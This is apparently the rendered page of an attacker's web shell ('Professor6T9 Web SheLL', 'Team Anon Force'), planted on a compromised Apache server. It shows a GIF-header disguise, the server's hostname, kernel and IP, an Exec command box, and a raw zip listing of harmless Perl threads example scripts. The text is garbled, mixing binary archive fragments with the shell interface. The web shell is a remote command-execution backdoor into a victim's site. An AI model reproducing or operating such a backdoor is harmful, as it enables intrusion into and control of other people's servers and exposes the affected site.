GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux server1.hnhtechsolutions.com 4.18.0-553.78.1.el8_10.x86_64 #1 SMP Tue Oct 7 04:15:13 EDT 2025 x86_64
Apache
198.177.124.167
/
home
/
portfolio
/
public_html
/
private
[ HOME ]
Exec
Submit
perl-threads.zip
PK �5kZ�A�� � examples/pool.plnu �[��� #!/usr/bin/perl use strict; use warnings; use threads 1.39; use threads::shared; use Thread::Queue; ### Global Variables ### # Maximum working threads my $MAX_THREADS = 10; # Maximum thread working time my $TIMEOUT = 10; # Flag to inform all threads that application is terminating my $TERM :shared = 0; # Prevents double detach attempts my $DETACHING :shared; ### Signal Handling ### # Gracefully terminate application on ^C # or command line 'kill' $SIG{'INT'} = $SIG{'TERM'} = sub { print(">>> Terminating <<<\n"); $TERM = 1; }; # This signal handler is called inside threads # that get cancelled by the timer thread $SIG{'KILL'} = sub { # Tell user we've been terminated printf(" %3d <- Killed\n", threads->tid()); # Detach and terminate lock($DETACHING); threads->detach() if ! threads->is_detached(); threads->exit(); }; ### Main Processing Section ### MAIN: { # Start timer thread my $queue = Thread::Queue->new(); threads->create('timer', $queue)->detach(); # Manage the thread pool until signalled to terminate while (! $TERM) { # Keep max threads running for (my $needed = $MAX_THREADS - threads->list(); $needed && ! $TERM; $needed--) { # New thread threads->create('worker', $queue, $TIMEOUT); } # Wait for any threads to finish sleep(1); } ### CLEANING UP ### # Wait for max timeout for threads to finish while ((threads->list() > 0) && $TIMEOUT--) { sleep(1); } # Detach and kill any remaining threads foreach my $thr (threads->list()) { lock($DETACHING); $thr->detach() if ! $thr->is_detached(); $thr->kill('KILL'); } } print("Done\n"); exit(0); ### Thread Entry Point Subroutines ### # A worker thread sub worker { my ($queue, $timeout) = @_; ### INITIALIZE ### # My thread ID my $tid = threads->tid(); printf("Working -> %3d\n", $tid); # Register with timer thread $queue->enqueue($tid, $timeout); ### WORK ### # Do some work while monitoring $TERM my $sleep = 5 + int(rand(10)); while (($sleep > 0) && ! $TERM) { $sleep -= sleep($sleep); } ### DONE ### # Remove signal handler $SIG{'KILL'} = sub {}; # Unregister with timer thread $queue->enqueue($tid, undef); # Tell user we're done printf(" %3d <- Finished\n", $tid); # Detach and terminate lock($DETACHING); threads->detach() if ! threads->is_detached(); threads->exit(); } # The timer thread that monitors other threads for timeout sub timer { my $queue = shift; # The registration queue my %timers; # Contains threads and timeouts # Loop until told to quit while (! $TERM) { # Check queue while (my $tid = $queue->dequeue_nb()) { if (! ($timers{$tid}{'timeout'} = $queue->dequeue()) || ! ($timers{$tid}{'thread'} = threads->object($tid))) { # No timeout - unregister thread delete($timers{$tid}); } } # Cancel timed out threads foreach my $tid (keys(%timers)) { if (--$timers{$tid}{'timeout'} < 0) { $timers{$tid}{'thread'}->kill('KILL'); delete($timers{$tid}); } } # Tick tock sleep(1); } } __END__ =head1 NAME pool.pl - Simple 'threads' example =head1 DESCRIPTION A simplistic example illustrating the following: =over =item * Management of a pool of threads =item * Communication between threads using queues =item * Timing out and cancelling threads =item * Interrupting a threaded program =item * Cleaning up threads before terminating =back =head1 SEE ALSO L<threads>, L<threads::shared>, and L<Thread::Queue> =head1 AUTHOR Jerry D. Hedden, S<E<lt>jdhedden AT cpan DOT orgE<gt>> =head1 COPYRIGHT AND LICENSE Copyright 2006 - 2009 Jerry D. Hedden. All rights reserved. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. =cut PK �5kZU���? ? examples/pool_reuse.plnu �[��� #!/usr/bin/perl use strict; use warnings; use threads 1.39; use threads::shared; use Thread::Queue; ### Global Variables ### # Maximum working threads my $MAX_THREADS = 10; # Flag to inform all threads that application is terminating my $TERM :shared = 0; # Threads add their ID to this queue when they are ready for work # Also, when app terminates a -1 is added to this queue my $IDLE_QUEUE = Thread::Queue->new(); ### Signal Handling ### # Gracefully terminate application on ^C or command line 'kill' $SIG{'INT'} = $SIG{'TERM'} = sub { print(">>> Terminating <<<\n"); $TERM = 1; # Add -1 to head of idle queue to signal termination $IDLE_QUEUE->insert(0, -1); }; ### Main Processing Section ### MAIN: { ### INITIALIZE ### # Thread work queues referenced by thread ID my %work_queues; # Create the thread pool for (1..$MAX_THREADS) { # Create a work queue for a thread my $work_q = Thread::Queue->new(); # Create the thread, and give it the work queue my $thr = threads->create('worker', $work_q); # Remember the thread's work queue $work_queues{$thr->tid()} = $work_q; } ### DO WORK ### # Manage the thread pool until signalled to terminate while (! $TERM) { # Wait for an available thread my $tid = $IDLE_QUEUE->dequeue(); # Check for termination condition last if ($tid < 0); # Give the thread some work to do my $work = 5 + int(rand(10)); $work_queues{$tid}->enqueue($work); } ### CLEANING UP ### # Signal all threads that there is no more work $work_queues{$_}->enqueue(-1) foreach keys(%work_queues); # Wait for all the threads to finish $_->join() foreach threads->list(); } print("Done\n"); exit(0); ### Thread Entry Point Subroutines ### # A worker thread sub worker { my ($work_q) = @_; # This thread's ID my $tid = threads->tid(); # Work loop do { # Indicate that were are ready to do work printf("Idle -> %2d\n", $tid); $IDLE_QUEUE->enqueue($tid); # Wait for work from the queue my $work = $work_q->dequeue(); # If no more work, exit last if ($work < 0); # Do some work while monitoring $TERM printf(" %2d <- Working\n", $tid); while (($work > 0) && ! $TERM) { $work -= sleep($work); } # Loop back to idle state if not told to terminate } while (! $TERM); # All done printf("Finished -> %2d\n", $tid); } __END__ =head1 NAME pool_reuse.pl - Simple 'threads' example with a reusable thread pool =head1 DESCRIPTION A simplistic example illustrating the following: =over =item * Creation of a pool of reusable threads =item * Threads use a queue to indicate readiness for handling work =item * Sending work to threads using queues =item * Interrupting a threaded program =item * Cleaning up threads before terminating =back =head1 SEE ALSO L<threads>, L<threads::shared>, and L<Thread::Queue> =head1 AUTHOR Jerry D. Hedden, S<E<lt>jdhedden AT cpan DOT orgE<gt>> =head1 COPYRIGHT AND LICENSE Copyright 2006 - 2009 Jerry D. Hedden. All rights reserved. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. =cut PK �5kZ�~dz� � READMEnu �[��� threads version 2.21 ==================== This module exposes interpreter threads to the Perl level. INSTALLATION To install this module type the following: perl Makefile.PL make make test make install DEPENDENCIES This module needs perl 5.8.0 or later compiled with 'useithreads'. COPYRIGHT AND LICENCE Copyright (C) 2001 Artur Bergman <sky AT crucially DOT net> Same licence as Perl. CPAN version produced by Jerry D. Hedden <jdhedden AT cpan DOT org> # EOF PK �5kZx�l&